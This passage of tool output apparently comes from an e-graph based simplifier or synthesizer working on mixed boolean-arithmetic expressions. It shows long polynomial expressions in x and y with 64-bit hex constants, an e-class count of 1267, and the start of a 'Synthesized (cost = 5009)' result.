0000000)*(y^x))*(y*y)))+(((((x*y)*(-0x7def734000000000))*(y^x))*y)*((~x)^y)))+(((((x*y)*(-0x7def734000000000))*(y^x))*y)*(~((~x)|y))))+(((((x*y)*0x7def734000000000)*(y^x))*y)*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*(((~x)^y)*((~x)^y))))+(((((x*y)*(-0x7def734000000000))*(y^x))*((~x)^y))*(~((~x)|y))))+(((((x*y)*0x7def734000000000)*(y^x))*((~x)^y))*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*((~((~x)|y))*(~((~x)|y)))))+(((((x*y)*0x7def734000000000)*(y^x))*(~((~x)|y)))*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*((x&y)*(x&y))))+((((y^x)*(y^x))*0x6b02c22000000000)*(y*y)))+(((((y^x)*(y^x))*(-0x29fa7bc000000000))*y)*((~x)^y)))+(((((y^x)*(y^x))*(-0x29fa7bc000000000))*y)*(~((~x)|y))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*y)*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*(((~x)^y)*((~x)^y))))+(((((y^x)*(y^x))*(-0x29fa7bc000000000))*((~x)^y))*(~((~x)|y))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*((~x)^y))*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*((~((~x)|y))*(~((~x)|y)))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*(~((~x)|y)))*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*((x&y)*(x&y))))+(((x|y)*0x5080768000000000)*(y*(y*y))))+((((x|y)*(-0xe7e9c8000000000))*(y*y))*((~x)^y)))+((((x|y)*(-0xe7e9c8000000000))*(y*y))*(~((~x)|y))))+((((x|y)*0xe7e9c8000000000)*(y*y))*(x&y)))+((((x|y)*(-0xe7e9c8000000000))*y)*(((~x)^y)*((~x)^y))))+(((((x|y)*(-0x1cfd390000000000))*y)*((~x)^y))*(~((~x)|y))))+(((((x|y)*0x1cfd390000000000)*y)*((~x)^y))*(x&y)))+((((x|y)*(-0xe7e9c8000000000))*y)*((~((~x)|y))*(~((~x)|y)))))+(((((x|y)*0x1cfd390000000000)*y)*(~((~x)|y)))*(x&y)))+((((x|y)*(-0xe7e9c8000000000))*y)*((x&y)*(x&y))))+(((x|y)*0x5080768000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((x|y)*(-0xe7e9c8000000000))*(((~x)^y)*((~x)^y)))*(~((~x)|y))))+((((x|y)*0xe7e9c8000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((x|y)*(-0xe7e9c8000000000))*((~x)^y))*((~((~x)|y))*(~((~x)|y)))))+(((((x|y)*0x1cfd390000000000)*((~x)^y))*(~((~x)|y)))*(x&y)))+((((x|y)*(-0xe7e9c8000000000))*((~x)^y))*((x&y)*(x&y))))+(((x|y)*0x5080768000000000)*((~((~x)|y))*((~((~x)|y))*(~((~x)|y))))))+((((x|y)*0xe7e9c8000000000)*((~((~x)|y))*(~((~x)|y))))*(x&y)))+((((x|y)*(-0xe7e9c8000000000))*(~((~x)|y)))*((x&y)*(x&y))))+(((x|y)*(-0x5080768000000000))*((x&y)*((x&y)*(x&y)))))+(((x*y)*0x3c6058e000000000)*(y*(y*y))))+((((x*y)*(-0x4adef56000000000))*(y*y))*((~x)^y)))+((((x*y)*(-0x4adef56000000000))*(y*y))*(~((~x)|y))))+((((x*y)*0x4adef56000000000)*(y*y))*(x&y)))+((((x*y)*(-0x4adef56000000000))*y)*(((~x)^y)*((~x)^y))))+(((((x*y)*0x6a42154000000000)*y)*((~x)^y))*(~((~x)|y))))+(((((x*y)*(-0x6a42154000000000))*y)*((~x)^y))*(x&y)))+((((x*y)*(-0x4adef56000000000))*y)*((~((~x)|y))*(~((~x)|y)))))+(((((x*y)*(-0x6a42154000000000))*y)*(~((~x)|y)))*(x&y)))+((((x*y)*(-0x4adef56000000000))*y)*((x&y)*(x&y))))+(((x*y)*0x3c6058e000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((x*y)*(-0x4adef56000000000))*(((~x)^y)*((~x)^y)))*(~((~x)|y))))+((((x*y)*0x4adef56000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((x*y)*(-0x4adef56000000000))*((~x)^y))*((~((~x)|y))*(~((~x)|y)))))+(((((x*y)*(-0x6a42154000000000))*((~x)^y))*(~((~x)|y)))*(x&y)))+((((x*y)*(-0x4adef56000000000))*((~x)^y))*((x&y)*(x&y))))+(((x*y)*0x3c6058e000000000)*((~((~x)|y))*((~((~x)|y))*(~((~x)|y))))))+((((x*y)*0x4adef56000000000)*((~((~x)|y))*(~((~x)|y))))*(x&y)))+((((x*y)*(-0x4adef56000000000))*(~((~x)|y)))*((x&y)*(x&y))))+(((x*y)*(-0x3c6058e000000000))*((x&y)*((x&y)*(x&y)))))+(((y^x)*0x28403b4000000000)*(y*(y*y))))+((((y^x)*0x78c0b1c000000000)*(y*y))*((~x)^y)))+((((y^x)*0x78c0b1c000000000)*(y*y))*(~((~x)|y))))+((((y^x)*(-0x78c0b1c000000000))*(y*y))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*(((~x)^y)*((~x)^y))))+(((((y^x)*(-0xe7e9c8000000000))*y)*((~x)^y))*(~((~x)|y))))+(((((y^x)*0xe7e9c8000000000)*y)*((~x)^y))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*((~((~x)|y))*(~((~x)|y)))))+(((((y^x)*0xe7e9c8000000000)*y)*(~((~x)|y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*((x&y)*(x&y))))+(((y^x)*0x28403b4000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((y^x)*0x78c0b1c000000000)*(((~x)^y)*((~x)^y)))*(~((~x)|y))))+((((y^x)*(-0x78c0b1c000000000))*(((~x)^y)*((~x)^y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*((~x)^y))*((~((~x)|y))*(~((~x)|y)))))+(((((y^x)*0xe7e9c8000000000)*((~x)^y))*(~((~x)|y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*((~x)^y))*((x&y)*(x&y))))+(((y^x)*0x28403b4000000000)*((~((~x)|y))*((~((~x)|y))*(~((~x)|y))))))+((((y^x)*(-0x78c0b1c000000000))*((~((~x)|y))*(~((~x)|y))))*(x&y)))+((((y^x)*0x78c0b1c000000000)*(~((~x)|y)))*((x&y)*(x&y))))+(((y^x)*(-0x28403b4000000000))*((x&y)*((x&y)*(x&y)))))+((y*(y*(y*y)))*(-0x7dfd875000000000)))+(((y*(y*y))*0x809e2c000000000)*((~x)^y)))+(((y*(y*y))*0x809e2c000000000)*(~((~x)|y))))+(((y*(y*y))*(-0x809e2c000000000))*(x&y)))+(((y*y)*0xc0ed42000000000)*(((~x)^y)*((~x)^y))))+((((y*y)*0x181da84000000000)*((~x)^y))*(~((~x)|y))))+((((y*y)*(-0x181da84000000000))*((~x)^y))*(x&y)))+(((y*y)*0xc0ed42000000000)*((~((~x)|y))*(~((~x)|y)))))+((((y*y)*(-0x181da84000000000))*(~((~x)|y)))*(x&y)))+(((y*y)*0xc0ed42000000000)*((x&y)*(x&y))))+((y*0x809e2c000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+(((y*0x181da84000000000)*(((~x)^y)*((~x)^y)))*(~((~x)|y))))+(((y*(-0x181da84000000000))*(((~x)^y)*((~x)^y)))*(x&y)))+(((y*0x181da84000000000)*((~x)^y))*((~((~x)|y))*(~((~x)|y)))))+((((y*(-0x303b508000000000))*((~x)^y))*(~((~x)|y)))*(x&y)))+(((y*0x181da84000000000)*((~x)^y))*((x&y)*(x&y))))+((y*0x809e2c000000000)*((~((~x)|y))*((~((~x)|y))*(~((~x)|y))))))+(((y*(-0x181da84000000000))*((~((~x)|y))*(~((~x)|y))))*(x&y)))+(((y*0x181da84000000000)*(~((~x)|y)))*((x&y)*(x&y))))+((y*(-0x809e2c000000000))*((x&y)*((x&y)*(x&y)))))+((((~x)^y)*(((~x)^y)*(((~x)^y)*((~x)^y))))*(-0x7dfd875000000000)))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*0x809e2c000000000)*(~((~x)|y))))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*(-0x809e2c000000000))*(x&y)))+(((((~x)^y)*((~x)^y))*0xc0ed42000000000)*((~((~x)|y))*(~((~x)|y)))))+((((((~x)^y)*((~x)^y))*(-0x181da84000000000))*(~((~x)|y)))*(x&y)))+(((((~x)^y)*((~x)^y))*0xc0ed42000000000)*((x&y)*(x&y))))+((((~x)^y)*0x809e2c000000000)*((~((~x)|y))*((~((~x)|y))*(~((~x)|y))))))+(((((~x)^y)*(-0x181da84000000000))*((~((~x)|y))*(~((~x)|y))))*(x&y)))+(((((~x)^y)*0x181da84000000000)*(~((~x)|y)))*((x&y)*(x&y))))+((((~x)^y)*(-0x809e2c000000000))*((x&y)*((x&y)*(x&y)))))+(((~((~x)|y))*((~((~x)|y))*((~((~x)|y))*(~((~x)|y)))))*(-0x7dfd875000000000)))+((((~((~x)|y))*((~((~x)|y))*(~((~x)|y))))*(-0x809e2c000000000))*(x&y)))+((((~((~x)|y))*(~((~x)|y)))*0xc0ed42000000000)*((x&y)*(x&y))))+(((~((~x)|y))*(-0x809e2c000000000))*((x&y)*((x&y)*(x&y)))))+(((x&y)*((x&y)*((x&y)*(x&y))))*(-0x7dfd875000000000)))
====================================================================================================
eclasses #: 1267
Synthesized (cost = 5009): ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x|y)*0xe6b5be4000000004)+0x67c62228de18a6ae)+((x*y)*0xed084eb000000003))+((y^x)*0xf35adf2000000002))+(((x|y)*(x|y))*0x92f441c000000000))+(((x|y)*0xdc6e62a000000000)*(x*y)))+(((x|y)*0x92f441c000000000)*(y^x)))+(((x*y)*(x*y))*0x92a964fc00000000))+(((x*y)*0x6e37315000000000)*(y^x)))+(((y^x)*(y^x))*0x24bd107000000000))+(((x|y)*((x|y)*(x|y)))*0xfd1b3a0000000000))+((((x|y)*(x|y))*0xf97d428000000000)*(x*y)))+((((x|y)*(x|y))*0xfba8d70000000000)*(y^x)))+(((x|y)*0xbb1df1e000000000)*((x*y)*(x*y))))+((((x|y)*0xf97d428000000000)*(x*y))*(y^x)))+(((x|y)*0xfdd46b8000000000)*((y^x)*(y^x))))+(((x*y)*((x*y)*(x*y)))*0xeec77c7800000000))+((((x*y)*(x*y))*0xdd8ef8f000000000)*(y^x)))+(((x*y)*0x3e5f50a000000000)*((y^x)*(y^x))))+(((y^x)*((y^x)*(y^x)))*0x7fa3674000000000))+(y*0x22c04c00de18a6ae))+(((~x)^y)*0x22c04c00de18a6ae))+((x&(~y))*0x22c04c00de18a6ae))+((x&y)*0xdd3fb3ff21e75952))+(((x|y)*0x4a9fc5a000000000)*y))+(((x|y)*0x4a9fc5a000000000)*((~x)^y)))+(((x|y)*0x4a9fc5a000000000)*(x&(~y))))+(((x|y)*0xb5603a6000000000)*(x&y)))+(((x*y)*0x37f7d43800000000)*y))+(((x*y)*0x37f7d43800000000)*((~x)^y)))+(((x*y)*0x37f7d43800000000)*(x&(~y))))+(((x*y)*0xc8082bc800000000)*(x&y)))+(((y^x)*0x254fe2d000000000)*y))+(((y^x)*0x254fe2d000000000)*((~x)^y)))+(((y^x)*0x254fe2d000000000)*(x&(~y))))+(((y^x)*0xdab01d3000000000)*(x&y)))+((y*y)*0x3337c25800000000))+((y*0x666f84b000000000)*((~x)^y)))+((y*0x666f84b000000000)*(x&(~y))))+((y*0x99907b5000000000)*(x&y)))+((((~x)^y)*((~x)^y))*0x3337c25800000000))+((((~x)^y)*0x666f84b000000000)*(x&(~y))))+((((~x)^y)*0x99907b5000000000)*(x&y)))+(((x&(~y))*(x&(~y)))*0x3337c25800000000))+(((x&(~y))*0x99907b5000000000)*(x&y)))+(((x&y)*(x&y))*0x3337c25800000000))+((((x|y)*(x|y))*0x3eff4a4000000000)*y))+((((x|y)*(x|y))*0x3eff4a4000000000)*((~x)^y)))+((((x|y)*(x|y))*0x3eff4a4000000000)*(x&(~y))))+((((x|y)*(x|y))*0xc100b5c000000000)*(x&y)))+((((x|y)*0x5e7eef6000000000)*(x*y))*y))+((((x|y)*0x5e7eef6000000000)*(x*y))*((~x)^y)))+((((x|y)*0x5e7eef6000000000)*(x*y))*(x&(~y))))+((((x|y)*0xa18110a000000000)*(x*y))*(x&y)))+((((x|y)*0x3eff4a4000000000)*(y^x))*y))+((((x|y)*0x3eff4a4000000000)*(y^x))*((~x)^y)))+((((x|y)*0x3eff4a4000000000)*(y^x))*(x&(~y))))+((((x|y)*0xc100b5c000000000)*(y^x))*(x&y)))+((((x*y)*(x*y))*0x436f99c400000000)*y))+((((x*y)*(x*y))*0x436f99c400000000)*((~x)^y)))+((((x*y)*(x*y))*0x436f99c400000000)*(x&(~y))))+((((x*y)*(x*y))*0xbc90663c00000000)*(x&y)))+((((x*y)*0xaf3f77b000000000)*(y^x))*y))+((((x*y)*0xaf3f77b000000000)*(y^x))*((~x)^y)))+((((x*y)*0xaf3f77b000000000)*(y^x))*(x&(~y))))+((((x*y)*0x50c0885000000000)*(y^x))*(x&y)))+((((y^x)*(y^x))*0x8fbfd29000000000)*y))+((((y^x)*(y^x))*0x8fbfd29000000000)*((~x)^y)))+((((y^x)*(y^x))*0x8fbfd29000000000)*(x&(~y))))+((((y^x)*(y^x))*0x70402d7000000000)*(x&y)))+(((x|y)*0xb46a7de000000000)*(y*y)))+((((x|y)*0x68d4fbc000000000)*y)*((~x)^y)))+((((x|y)*0x68d4fbc000000000)*y)*(x&(~y))))+((((x|y)*0x972b044000000000)*y)*(x&y)))+(((x|y)*0xb46a7de000000000)*(((~x)^y)*((~x)^y))))+((((x|y)*0x68d4fbc000000000)*((~x)^y))*(x&(~y))))+((((x|y)*0x972b044000000000)*((~x)^y))*(x&y)))+(((x|y)*0xb46a7de000000000)*((x&(~y))*(x&(~y)))))+((((x|y)*0x972b044000000000)*(x&(~y)))*(x&y)))+(((x|y)*0xb46a7de000000000)*((x&y)*(x&y))))+(((x*y)*0x874fde6800000000)*(y*y)))+((((x*y)*0xe9fbcd000000000)*y)*((~x)^y)))+((((x*y)*0xe9fbcd000000000)*y)*(x&(~y))))+((((x*y)*0xf160433000000000)*y)*(x&y)))+(((x*y)*0x874fde6800000000)*(((~x)^y)*((~x)^y))))+((((x*y)*0xe9fbcd000000000)*((~x)^y))*(x&(~y))))+((((x*y)*0xf160433000000000)*((~x)^y))*(x&y)))+(((x*y)*0x874fde6800000000)*((x&(~y))*(x&(~y)))))+((((x*y)*0xf160433000000000)*(x&(~y)))*(x&y)))+(((x*y)*0x874fde6800000000)*((x&y)*(x&y))))+(((y^x)*0x5a353ef000000000)*(y*y)))+((((y^x)*0xb46a7de000000000)*y)*((~x)^y)))+((((y^x)*0xb46a7de000000000)*y)*(x&(~y))))+((((y^x)*0x4b95822000000000)*y)*(x&y)))+(((y^x)*0x5a353ef000000000)*(((~x)^y)*((~x)^y))))+((((y^x)*0xb46a7de000000000)*((~x)^y))*(x&(~y))))+((((y^x)*0x4b95822000000000)*((~x)^y))*(x&y)))+(((y^x)*0x5a353ef000000000)*((x&(~y))*(x&(~y)))))+((((y^x)*0x4b95822000000000)*(x&(~y)))*(x&y)))+(((y^x)*0x5a353ef000000000)*((x&y)*(x&y))))+((y*(y*y))*0xfa40113000000000))+(((y*y)*0xeec0339000000000)*((~x)^y)))+(((y*y)*0xeec0339000000000)*(x&(~y))))+(((y*y)*0x113fcc7000000000)*(x&y)))+((y*0xeec0339000000000)*(((~x)^y)*((~x)^y))))+(((y*0xdd80672000000000)*((~x)^y))*(x&(~y))))+(((y*0x227f98e000000000)*((~x)^y))*(x&y)))+((y*0xeec0339000000000)*((x&(~y))*(x&(~y)))))+(((y*0x227f98e000000000)*(x&(~y)))*(x&y)))+((y*0xeec0339000000000)*((x&y)*(x&y))))+((((~x)^y)*(((~x)^y)*((~x)^y)))*0xfa40113000000000))+(((((~x)^y)*((~x)^y))*0xeec0339000000000)*(x&(~y))))+(((((~x)^y)*((~x)^y))*0x113fcc7000000000)*(x&y)))+((((~x)^y)*0xeec0339000000000)*((x&(~y))*(x&(~y)))))+(((((~x)^y)*0x227f98e000000000)*(x&(~y)))*(x&y)))+((((~x)^y)*0xeec0339000000000)*((x&y)*(x&y))))+(((x&(~y))*((x&(~y))*(x&(~y))))*0xfa40113000000000))+((((x&(~y))*(x&(~y)))*0x113fcc7000000000)*(x&y)))+(((x&(~y))*0xeec0339000000000)*((x&y)*(x&y))))+(((x&y)*((x&y)*(x&y)))*0x5bfeed000000000))+((((x|y)*((x|y)*(x|y)))*0xfd1b3a0000000000)*y))+((((x|y)*((x|y)*(x|y)))*0xfd1b3a0000000000)*((~x)^y)))+((((x|y)*((x|y)*(x|y)))*0xfd1b3a0000000000)*(x&(~y))))+((((x|y)*((x|y)*(x|y)))*0x2e4c60000000000)*(x&y)))+(((((x|y)*(x|y))*0xf97d428000000000)*(x*y))*y))+(((((x|y)*(x|y))*0xf97d428000000000)*(x*y))*((~x)^y)))+(((((x|y)*(x|y))*0xf97d428000000000)*(x*y))*(x&(~y))))+(((((x|y)*(x|y))*0x682bd8000000000)*(x*y))*(x&y)))+(((((x|y)*(x|y))*0xfba8d70000000000)*(y^x))*y))+(((((x|y)*(x|y))*0xfba8d70000000000)*(y^x))*((~x)^y)))+(((((x|y)*(x|y))*0xfba8d70000000000)*(y^x))*(x&(~y))))+(((((x|y)*(x|y))*0x457290000000000)*(y^x))*(x&y)))+((((x|y)*0xbb1df1e000000000)*((x*y)*(x*y)))*y))+((((x|y)*0xbb1df1e000000000)*((x*y)*(x*y)))*((~x)^y)))+((((x|y)*0xbb1df1e000000000)*((x*y)*(x*y)))*(x&(~y))))+((((x|y)*0x44e20e2000000000)*((x*y)*(x*y)))*(x&y)))+(((((x|y)*0xf97d428000000000)*(x*y))*(y^x))*y))+(((((x|y)*0xf97d428000000000)*(x*y))*(y^x))*((~x)^y)))+(((((x|y)*0xf97d428000000000)*(x*y))*(y^x))*(x&(~y))))+(((((x|y)*0x682bd8000000000)*(x*y))*(y^x))*(x&y)))+((((x|y)*0xfdd46b8000000000)*((y^x)*(y^x)))*y))+((((x|y)*0xfdd46b8000000000)*((y^x)*(y^x)))*((~x)^y)))+((((x|y)*0xfdd46b8000000000)*((y^x)*(y^x)))*(x&(~y))))+((((x|y)*0x22b948000000000)*((y^x)*(y^x)))*(x&y)))+((((x*y)*((x*y)*(x*y)))*0xeec77c7800000000)*y))+((((x*y)*((x*y)*(x*y)))*0xeec77c7800000000)*((~x)^y)))+((((x*y)*((x*y)*(x*y)))*0xeec77c7800000000)*(x&(~y))))+((((x*y)*((x*y)*(x*y)))*0x1138838800000000)*(x&y)))+(((((x*y)*(x*y))*0xdd8ef8f000000000)*(y^x))*y))+(((((x*y)*(x*y))*0xdd8ef8f000000000)*(y^x))*((~x)^y)))+(((((x*y)*(x*y))*0xdd8ef8f000000000)*(y^x))*(x&(~y))))+(((((x*y)*(x*y))*0x2271071000000000)*(y^x))*(x&y)))+((((x*y)*0x3e5f50a000000000)*((y^x)*(y^x)))*y))+((((x*y)*0x3e5f50a000000000)*((y^x)*(y^x)))*((~x)^y)))+((((x*y)*0x3e5f50a000000000)*((y^x)*(y^x)))*(x&(~y))))+((((x*y)*0xc1a0af6000000000)*((y^x)*(y^x)))*(x&y)))+((((y^x)*((y^x)*(y^x)))*0x7fa3674000000000)*y))+((((y^x)*((y^x)*(y^x)))*0x7fa3674000000000)*((~x)^y)))+((((y^x)*((y^x)*(y^x)))*0x7fa3674000000000)*(x&(~y))))+((((y^x)*((y^x)*(y^x)))*0x805c98c000000000)*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*(y*y)))+(((((x|y)*(x|y))*0x5816110000000000)*y)*((~x)^y)))+(((((x|y)*(x|y))*0x5816110000000000)*y)*(x&(~y))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*y)*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*(((~x)^y)*((~x)^y))))+(((((x|y)*(x|y))*0x5816110000000000)*((~x)^y))*(x&(~y))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*((~x)^y))*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*((x&(~y))*(x&(~y)))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*(x&(~y)))*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*((x&y)*(x&y))))+((((x|y)*0x82108cc000000000)*(x*y))*(y*y)))+(((((x|y)*0x421198000000000)*(x*y))*y)*((~x)^y)))+(((((x|y)*0x421198000000000)*(x*y))*y)*(x&(~y))))+(((((x|y)*0xfbdee68000000000)*(x*y))*y)*(x&y)))+((((x|y)*0x82108cc000000000)*(x*y))*(((~x)^y)*((~x)^y))))+(((((x|y)*0x421198000000000)*(x*y))*((~x)^y))*(x&(~y))))+(((((x|y)*0xfbdee68000000000)*(x*y))*((~x)^y))*(x&y)))+((((x|y)*0x82108cc000000000)*(x*y))*((x&(~y))*(x&(~y)))))+(((((x|y)*0xfbdee68000000000)*(x*y))*(x&(~y)))*(x&y)))+((((x|y)*0x82108cc000000000)*(x*y))*((x&y)*(x&y))))+((((x|y)*0xac0b088000000000)*(y^x))*(y*y)))+(((((x|y)*0x5816110000000000)*(y^x))*y)*((~x)^y)))+(((((x|y)*0x5816110000000000)*(y^x))*y)*(x&(~y))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*y)*(x&y)))+((((x|y)*0xac0b088000000000)*(y^x))*(((~x)^y)*((~x)^y))))+(((((x|y)*0x5816110000000000)*(y^x))*((~x)^y))*(x&(~y))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*((~x)^y))*(x&y)))+((((x|y)*0xac0b088000000000)*(y^x))*((x&(~y))*(x&(~y)))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*(x&(~y)))*(x&y)))+((((x|y)*0xac0b088000000000)*(y^x))*((x&y)*(x&y))))+((((x*y)*(x*y))*0xb0c634c800000000)*(y*y)))+(((((x*y)*(x*y))*0x618c699000000000)*y)*((~x)^y)))+(((((x*y)*(x*y))*0x618c699000000000)*y)*(x&(~y))))+(((((x*y)*(x*y))*0x9e73967000000000)*y)*(x&y)))+((((x*y)*(x*y))*0xb0c634c800000000)*(((~x)^y)*((~x)^y))))+(((((x*y)*(x*y))*0x618c699000000000)*((~x)^y))*(x&(~y))))+(((((x*y)*(x*y))*0x9e73967000000000)*((~x)^y))*(x&y)))+((((x*y)*(x*y))*0xb0c634c800000000)*((x&(~y))*(x&(~y)))))+(((((x*y)*(x*y))*0x9e73967000000000)*(x&(~y)))*(x&y)))+((((x*y)*(x*y))*0xb0c634c800000000)*((x&y)*(x&y))))+((((x*y)*0x4108466000000000)*(y^x))*(y*y)))+(((((x*y)*0x82108cc000000000)*(y^x))*y)*((~x)^y)))+(((((x*y)*0x82108cc000000000)*(y^x))*y)*(x&(~y))))+(((((x*y)*0x7def734000000000)*(y^x))*y)*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*(((~x)^y)*((~x)^y))))+(((((x*y)*0x82108cc000000000)*(y^x))*((~x)^y))*(x&(~y))))+(((((x*y)*0x7def734000000000)*(y^x))*((~x)^y))*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*((x&(~y))*(x&(~y)))))+(((((x*y)*0x7def734000000000)*(y^x))*(x&(~y)))*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*((x&y)*(x&y))))+((((y^x)*(y^x))*0x6b02c22000000000)*(y*y)))+(((((y^x)*(y^x))*0xd605844000000000)*y)*((~x)^y)))+(((((y^x)*(y^x))*0xd605844000000000)*y)*(x&(~y))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*y)*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*(((~x)^y)*((~x)^y))))+(((((y^x)*(y^x))*0xd605844000000000)*((~x)^y))*(x&(~y))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*((~x)^y))*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*((x&(~y))*(x&(~y)))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*(x&(~y)))*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*((x&y)*(x&y))))+(((x|y)*0x5080768000000000)*(y*(y*y))))+((((x|y)*0xf181638000000000)*(y*y))*((~x)^y)))+((((x|y)*0xf181638000000000)*(y*y))*(x&(~y))))+((((x|y)*0xe7e9c8000000000)*(y*y))*(x&y)))+((((x|y)*0xf181638000000000)*y)*(((~x)^y)*((~x)^y))))+(((((x|y)*0xe302c70000000000)*y)*((~x)^y))*(x&(~y))))+(((((x|y)*0x1cfd390000000000)*y)*((~x)^y))*(x&y)))+((((x|y)*0xf181638000000000)*y)*((x&(~y))*(x&(~y)))))+(((((x|y)*0x1cfd390000000000)*y)*(x&(~y)))*(x&y)))+((((x|y)*0xf181638000000000)*y)*((x&y)*(x&y))))+(((x|y)*0x5080768000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((x|y)*0xf181638000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+((((x|y)*0xe7e9c8000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((x|y)*0xf181638000000000)*((~x)^y))*((x&(~y))*(x&(~y)))))+(((((x|y)*0x1cfd390000000000)*((~x)^y))*(x&(~y)))*(x&y)))+((((x|y)*0xf181638000000000)*((~x)^y))*((x&y)*(x&y))))+(((x|y)*0x5080768000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+((((x|y)*0xe7e9c8000000000)*((x&(~y))*(x&(~y))))*(x&y)))+((((x|y)*0xf181638000000000)*(x&(~y)))*((x&y)*(x&y))))+(((x|y)*0xaf7f898000000000)*((x&y)*((x&y)*(x&y)))))+(((x*y)*0x3c6058e000000000)*(y*(y*y))))+((((x*y)*0xb5210aa000000000)*(y*y))*((~x)^y)))+((((x*y)*0xb5210aa000000000)*(y*y))*(x&(~y))))+((((x*y)*0x4adef56000000000)*(y*y))*(x&y)))+((((x*y)*0xb5210aa000000000)*y)*(((~x)^y)*((~x)^y))))+(((((x*y)*0x6a42154000000000)*y)*((~x)^y))*(x&(~y))))+(((((x*y)*0x95bdeac000000000)*y)*((~x)^y))*(x&y)))+((((x*y)*0xb5210aa000000000)*y)*((x&(~y))*(x&(~y)))))+(((((x*y)*0x95bdeac000000000)*y)*(x&(~y)))*(x&y)))+((((x*y)*0xb5210aa000000000)*y)*((x&y)*(x&y))))+(((x*y)*0x3c6058e000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((x*y)*0xb5210aa000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+((((x*y)*0x4adef56000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((x*y)*0xb5210aa000000000)*((~x)^y))*((x&(~y))*(x&(~y)))))+(((((x*y)*0x95bdeac000000000)*((~x)^y))*(x&(~y)))*(x&y)))+((((x*y)*0xb5210aa000000000)*((~x)^y))*((x&y)*(x&y))))+(((x*y)*0x3c6058e000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+((((x*y)*0x4adef56000000000)*((x&(~y))*(x&(~y))))*(x&y)))+((((x*y)*0xb5210aa000000000)*(x&(~y)))*((x&y)*(x&y))))+(((x*y)*0xc39fa72000000000)*((x&y)*((x&y)*(x&y)))))+(((y^x)*0x28403b4000000000)*(y*(y*y))))+((((y^x)*0x78c0b1c000000000)*(y*y))*((~x)^y)))+((((y^x)*0x78c0b1c000000000)*(y*y))*(x&(~y))))+((((y^x)*0x873f4e4000000000)*(y*y))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*(((~x)^y)*((~x)^y))))+(((((y^x)*0xf181638000000000)*y)*((~x)^y))*(x&(~y))))+(((((y^x)*0xe7e9c8000000000)*y)*((~x)^y))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*((x&(~y))*(x&(~y)))))+(((((y^x)*0xe7e9c8000000000)*y)*(x&(~y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*((x&y)*(x&y))))+(((y^x)*0x28403b4000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((y^x)*0x78c0b1c000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+((((y^x)*0x873f4e4000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*((~x)^y))*((x&(~y))*(x&(~y)))))+(((((y^x)*0xe7e9c8000000000)*((~x)^y))*(x&(~y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*((~x)^y))*((x&y)*(x&y))))+(((y^x)*0x28403b4000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+((((y^x)*0x873f4e4000000000)*((x&(~y))*(x&(~y))))*(x&y)))+((((y^x)*0x78c0b1c000000000)*(x&(~y)))*((x&y)*(x&y))))+(((y^x)*0xd7bfc4c000000000)*((x&y)*((x&y)*(x&y)))))+((y*(y*(y*y)))*0x820278b000000000))+(((y*(y*y))*0x809e2c000000000)*((~x)^y)))+(((y*(y*y))*0x809e2c000000000)*(x&(~y))))+(((y*(y*y))*0xf7f61d4000000000)*(x&y)))+(((y*y)*0xc0ed42000000000)*(((~x)^y)*((~x)^y))))+((((y*y)*0x181da84000000000)*((~x)^y))*(x&(~